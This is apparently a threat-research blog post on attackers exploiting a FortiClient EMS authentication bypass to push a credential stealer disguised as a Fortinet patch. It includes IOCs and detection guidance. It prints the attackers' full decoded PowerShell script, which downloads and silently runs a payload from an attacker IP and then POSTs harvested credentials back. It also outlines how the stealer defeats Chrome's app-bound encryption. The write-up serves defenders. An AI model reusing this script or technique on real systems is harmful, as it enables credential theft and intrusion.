

FortiClient EMS Exploited via CVE-2026-35616 to Deliver EKZ Infostealer Disguised as a Fortinet Patch

arcticwolf.com/resources/blog/forticlient-ems-exploited-via-cve-2026-35616-to-deliver-ekz-infostealer-disguised-as-a-fortinet-patch

Arctic Wolf Labs

May 27, 2026



Key Takeaways

- Arctic Wolf observed evidence of CVE-2026-35616 being exploited against FortiClient EMS deployments.
- The campaign abused trusted endpoint management infrastructure to deliver malware across managed endpoints.
- Threat actors disguised the credential stealer payload as a Fortinet endpoint update, silently executing the malicious executable through PowerShell.
- The credential stealer, designated as EKZ Infostealer, supports credential extraction from Chrome and Firefox, including bypass techniques targeting Chrome's encrypted password storage mechanisms.

Summary

In May 2026, Arctic Wolf observed a cluster of malicious activity affecting endpoints managed by FortiClient Endpoint Management Server (EMS). The malicious payload was disguised as a fake Fortinet endpoint patch, but it was actually a credential stealer.

We named this payload **EKZ Infostealer**, based on internal symbol names extracted from decrypted code. This infostealer, which primarily targets browser-based credentials, stages its harvested results in a log file and exfiltrates obtained credentials over HTTP.

The observed execution pattern suggests that threat actors used FortiClient's own management pathway to push malicious PowerShell commands to managed endpoints in a way that resembled legitimate management

operations. Once the threat actors had a route to modify EMS-managed configuration, every managed endpoint became a potential execution target without requiring a separate intrusion path to each device.

Arctic Wolf is sharing technical details from this campaign to help defenders identify similar activity and hunt for related indicators of compromise (IOCs) in FortiClient EMS deployments.

Background

FortiClient EMS is used to centrally manage FortiClient endpoint devices, policies, and associated configurations. In this campaign, the affected endpoint activity was found to be associated with exploitation of CVE-2026-35616. This vulnerability was originally [reported](#) to Fortinet on March 31, 2026 after it was observed being exploited in the wild.

What We Know About the Campaign

Initial Access and FortiClient EMS Configuration Changes

CVE-2026-35616 is an improper access control vulnerability in FortiClient EMS. It allows unauthenticated threat actors to bypass API authentication and send privileged requests to affected deployments.

When specially crafted HTTP requests are sent to certain FortiClient EMS endpoints without valid credentials, the requests are processed as if they were legitimate administrative actions. From that point onward, threat actors can interact with EMS functionality that would normally require administrative access.

In a lab setting, we consistently observed the following log line appearing in FortiClient EMS logs when exploitation attempts were made:

```
Certificate not found in request header.
```

This behavior can also be reproduced by performing a [nuclei scan](#) for CVE-2026-35616 against a FortiClient EMS deployment, regardless of patching status. In contrast with our lab-based exploitation scenario, however, real-world exploitation also included an additional log line within seconds of the certificate error:

```
Certificate user: fortinet-ca2 FortiGate: Fabric device (SN=fortinet-ca2) successfully updated
```

Within hours of initial exploitation, malicious login events were observed from several Tor exit node IP addresses:

- 185[.]220.101.15 – AS60729 (Stiftung Erneuerbare Freiheit)
- 192[.]42.116.14 – AS215125 (Church of Cyberology)

Several follow-on actions were performed by the threat actor, such as updating the `remind_upgrade_after` configuration to defer firmware upgrade reminders, as well as editing the Remote Access Profile configuration and endpoint policy to insert a malicious script for execution on endpoint devices.

Endpoint Device Script Execution Tied to FortiClient VPN Configuration

FortiClient EMS can centrally deploy SSL or IPsec VPN tunnel configurations to endpoints. These tunnels terminate at a FortiGate gateway. As part of that functionality, users can [define scripts](#) that automatically run on those endpoint devices upon establishing a tunnel using the `on_connect` and `script` directives in the XML-based Remote Access Profile.

Within seconds of affected endpoints establishing an IPsec tunnel to the configured FortiGate firewall, fortitray.exe was observed launching .cmd script files via cmd.exe. The script filenames had GUIDs wrapped in curly braces, and were located within a path typically used as FortiClient-configured VPN logging for [troubleshooting purposes](#):

C:\Program Files\Fortinet\FortiClient\logs\Trace\scripts\{36_DIGIT_GUID_HERE}.cmd

From there, the cmd script launched a malicious base64-encoded PowerShell script. This script attempts to download a malicious payload using several fallback methods, runs the downloaded payload, sleeps for 90 seconds, then exfiltrates script output to 83.[.]138.53.110 via HTTP POST. This IP address is a threat-actor-controlled Virtual Private Server host.

```
1 powershell -w 1
2 $Url = "http://83.138.53.110/dl/p.exe";
3 $Out = "C:\programdata\FortiEndpoint_Patch.exe";
4 if (-not $Out) {
5     $Out = [System.IO.Path]::GetFileName(([uri]$Url).LocalPath);
6     if (-not $Out) { $Out = "downloaded_file" }
7 };
8 $Out = [System.IO.Path]::GetFullPath($Out);
9 $ok = $false;
10 if (-not $ok) {
11     try {
12         Invoke-WebRequest -Uri $Url -OutFile $Out -UseBasicParsing -EA Stop;
13         $ok = $true
14     } catch {}
15 };
16 if (-not $ok) {
17     try {
18         $wc = New-Object System.Net.WebClient;
19         $wc.DownloadFile($Url, $Out);
20         $ok = $true
21     } catch {} finally {
22         if ($wc) { $wc.Dispose() }
23     }
24 };
25 if (-not $ok) {
26     try {
27         Import-Module BitsTransfer -EA Stop;
28         Start-BitsTransfer -Source $Url -Destination $Out -EA Stop;
29         $ok = $true
30     } catch {}
31 };
32 if (-not $ok) {
33     try {
34         & (Get-Command curl.exe -EA Stop).Source -L -o $Out $Url --fail --silent;
35         if ($LASTEXITCODE -eq 0) { $ok = $true }
36     } catch {}
37 };
38
39 cd C:\programdata\;
40 Start-Process -WindowStyle Hidden $Out;
41 Start-Sleep -Milliseconds 90000;
42 $b=[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\programdata\log.txt"));
43 $wc=New-Object System.Net.WebClient;
44 $wc.UploadString("http://83.138.53.110/service/save.php","POST","content=$( [uri]::EscapeDataString($b) )");
45 del C:\programdata\log.txt;
46 del C:\programdata\FortiEndpoint_Patch.exe;
```

Figure 1: Malicious PowerShell script executed by endpoint devices managed by FortiClient EMS, decoded from base64 (edited for readability).

This execution pattern was performed across the fleet of FortiClient-managed endpoints with different script files with GUIDs in their filenames. Additionally, a simpler variant of the executed malicious PowerShell script omitted the fallback logic for download methods. The observed process lineage was as follows:

```
fortitray.exe or ipsec.exe
├─ cmd.exe
│   └─ powershell.exe (download script)
│       └─ FortiEndpoint_Patch.exe (credential stealer)
```

EKZ Infostealer Tooling

The executable named FortiEndpoint_Patch.exe on infected devices (or p.exe as hosted remotely) is a MinGW-compiled Windows credential stealer, which we refer to as EKZ Infostealer. It supports Chrome, Microsoft Edge, and other Chromium-based browsers, and Firefox/Gecko-based browsers. This tool is a previously unreported browser credential stealer first observed by Arctic Wolf in May 2026 as part of this campaign.

The application does not possess network-based credentials exfiltration capabilities; instead, it exports credentials from supported browsers to an output log file. Run without arguments, it provides command-line usage details.

The malware includes an internal SQLite-backed results store and CLI verbs such as action_list, view, label, and export, suggesting that the credential harvester was designed to support repeated operator-driven use across hosts.

```
Usage: C:\Users\████\Desktop\p.exe [command] [args...]

Commands:
<none>          Scan all browsers, list results, save log.txt
list [filter]    List credentials; optional keyword filter
search <filter>  Alias for: list <filter>
view <num>       Show full detail for credential #<num>
label <num> <text> Set label for credential #<num>
export <file>    Export all credentials to a CSV file
help            Show this help

Examples:
C:\Users\████\Desktop\p.exe
C:\Users\████\Desktop\p.exe list google
C:\Users\████\Desktop\p.exe view 3
C:\Users\████\Desktop\p.exe label 3 "work account"
C:\Users\████\Desktop\p.exe export passwords.csv
```

Figure 2: Command line usage details are shown when the credential stealer payload is executed without arguments.

In the intrusions we analyzed, a log.txt file was saved to the ProgramData directory, which was referenced in the PowerShell script mentioned previously for exfiltration on a timed basis.

When extracting credentials from Chromium-family browsers, the stealer starts by locating browser installations through the registry. It then reads the Local State file for the os_crypt.app_bound_encrypted_key, copies itself into the browser's Application\ directory, and relaunches from that path to pass Chromium Elevation Service path validation.

The infostealer then calls IElevator::DecryptData to obtain the Chromium v20 AES-256 master key, iterates through every browser profile, and decrypts corresponding SQLite databases containing browser data.

For Firefox and Gecko-family browsers, the stealer locates nss3.dll, dynamically loads NSS, and extracts credentials from standard Firefox credential stores including key4.db, logins.json, and cookies.sqlite (which is stored in plaintext). The same credential approach appears to apply to other Gecko-based browsers such as LibreWolf, Waterfox, Pale Moon, and Thunderbird.

```

1 Browser Password Manager - Scan Results
2 Timestamp : 2026-05-11 12:26:20
3 Total      : 1 credential(s) from 2 browser(s)
4
5 [1]
6   URL       : 
7   Username  : 
8   Password  : 
9   Browser   : Firefox

```

Figure 3: An example log file emitted by the credential stealer.

The data extracted from these browsers included cookies, which could allow threat actors to reuse already authenticated sessions without triggering MFA prompts. Saved password credentials were also retrieved, along with autofill data such as credit card details, addresses, and phone numbers.

Field	Value
Filename (delivery)	p.exe
Filename (local)	FortiEndpoint_Patch.exe
Source URL	hxxp[:]//83.138.53[.]110/dl/p.exe
Size	4,019,070 bytes
File Type	PE32+ console, x86-64, 18 sections
Compiler Chain	MinGW-w64 / GCC (DWARF debug info retained)
SHA-256	0da123adf9251957a4b850a3f6bd6a753dd4892be176a84a18450e899534cc5e
SHA-1	17e771c78430cc67e71d4547f8996a1a488e9d3f
MD5	338662fd0c4d750a0ba203a32b59f081
Imphash	8c5b72906e8183037532afc3f4639931
PE TimeDateStamp	0 (zeroed — anti-attribution)
Subsystem	Console (3)

Additional Samples

While not directly observed in this infection chain, several other malicious samples were recovered from the threat-actor-controlled HTTP server hosted on 83.138.53[.]110.

SHA-256 Hash	Filename
d91c00fad521e76efa89715cca89db487d5676f2c767c883482f9c8f82bd383a	FortiEndpoint_Patch.2.4.9.zip
fd65051c61a904a304919c04a8c8633c001183ac73ac461cd4d9057946f02bf5	FortiEndpoint_Patch.2.4.9.msi

2927bc31b4f8254c6b332fc03110a6373cad00ffa2ff9de427c26bb222017bb2	fil_api_ms_win_crt_apibase_l1_1_0.dll
2f25ea1b622abf3212141af932c2ec4cbd6b2b5903c2a531121f691227d98cff	Microsoft Windowsr Operating System-Installer.exe (<i>Note the threat actor's misspelling in the filename</i>).

Conclusion

At a high level, this campaign reflects a broader pattern in which threat actors target management platforms and turn trusted administrative workflows against the organizations that rely on them. By bypassing API authentication and interacting with EMS functionality in a privileged context, threat actors were able to modify management configuration and push malicious scripts for execution on managed endpoints.

The tradecraft in this campaign was tightly aligned with the affected software environment. Rather than relying on a generic malware lure, the payload was presented as a Fortinet endpoint update and executed through FortiClient-managed VPN scripting workflows. On affected endpoints, FortiClient components launched command scripts that invoked PowerShell, downloaded a credential stealer, executed it silently, and exfiltrated harvested browser data before removing local artifacts.

The EKZ Infostealer payload we identified in this campaign was purpose-built for credential theft. Its ability to extract credentials, cookies, and autofill data from Chromium- and Firefox-family browsers creates risk beyond the initially affected endpoints. Session cookies and saved browser credentials may provide threat actors with follow-on access to cloud services, internal applications, and other authenticated resources, including cases where session reuse may circumvent MFA prompts.

To reduce exposure to this threat, organizations running affected versions of FortiClient EMS should [upgrade to a fixed version](#) as soon as possible. Additionally, network access to the FortiClient EMS management port (8013) may be explicitly restricted to trusted IP ranges only.

How Arctic Wolf Protects its Customers

Arctic Wolf is committed to ending cyber risk, and when active campaigns are identified, we move quickly to protect our customers. We have leveraged threat intelligence around this threat activity to enhance detections in the [Arctic Wolf® Managed Detection and Response \(MDR\)](#) service, subject to customer environment and available telemetry.

As we track this campaign and discover new information, we may further refine our detections to account for additional indicators of compromise (IOCs) and techniques leveraged by the threat group behind this malicious activity.

Detection Guidance

FortiClient EMS Management Plane

Defenders should focus on certificate-authentication anomalies combined with unexpected Remote Access Profile configuration changes. These are the earliest high-signal indicators.

- **CVE-2026-35616 exploitation signals:**
 - EMS logs containing Certificate not found in request header
 - Followed within seconds by: Certificate user: fortinet-ca2 ... successfully updated

- **Suspicious administrative activity:**
 - New or unexpected EMS accounts created
 - Logins from Tor, VPS IP addresses, or unfamiliar ASNs
- **Execution-enabling configuration changes:**
 - Remote Access Profile modified to include unapproved script execution using on_connect
 - Endpoint policy updates immediately preceding fleet-wide script execution

Suspicious PowerShell on Managed Endpoints

Focus on scripts performing downloads over PowerShell in a process tree spawned by fortitray.exe or ipsec.exe.

PowerShell execution via FortiClient:

- Parent process is cmd.exe and includes the following directory: C:\Program Files\Fortinet\FortiClient\logs\Trace\scripts
- Hidden or base64-encoded PowerShell launching a downloaded binary
- PowerShell execution immediately after VPN/IPsec tunnel establishment

Payload Execution & Staging

Look for FortiEndpoint executables being staged in C:\ProgramData.

- **Execution from ProgramData**
- **Credential staging and exfiltration chain:**
 - Creation of C:\ProgramData\log.txt
- **Followed by:**
 - PowerShell reading txt
 - HTTP POST shortly afterwards
 - Deletion of both txt and payload

Network Monitoring

Focus on direct malicious IP infrastructure and POST-based exfiltration shortly after execution.

- **Payload delivery:** Look for HTTP downloads from hxxp[:]//83[.]138[.]53[.]110/dl/p.exe.
- **Exfiltration:** hxxp[:]//83[.]138[.]53[.]110/service/save.php
- **High-signal behavior:**
 - Endpoint reaches out to raw IP over HTTP, downloads exe, executes it immediately
 - PowerShell performs a HTTP POST shortly after reading txt
 - Same host performing both download and POST activity to 83[.]138[.]53[.]110

Appendix

For additional Appendix sections referenced in this report, including Indicators of Compromise, File Hashes, Binary Payloads, System Artifacts, and more, please see our [public GitHub](#) repository.

Legal disclaimer: Attribution reflects Arctic Wolf Labs' assessment as of the report period and may evolve with new evidence. References to threat actor identity, nexus, and intent are analytical judgments, not statements of legal fact. This alert is provided for informational purposes only and does not constitute a guarantee of detection or prevention. Defensive effectiveness varies by environment, configuration, and available telemetry.

[Arctic Wolf Labs](#) is a group of elite security researchers, data scientists, and security development engineers who explore security topics to deliver cutting-edge threat research on new and emerging adversaries, develop and refine advanced threat detection models with artificial intelligence and machine learning, and drive continuous improvement in the speed, scale, and detection efficacy of Arctic Wolf's solution offerings.

Arctic Wolf Labs brings world-class security innovations to not only Arctic Wolf's customer base, but the security community at large.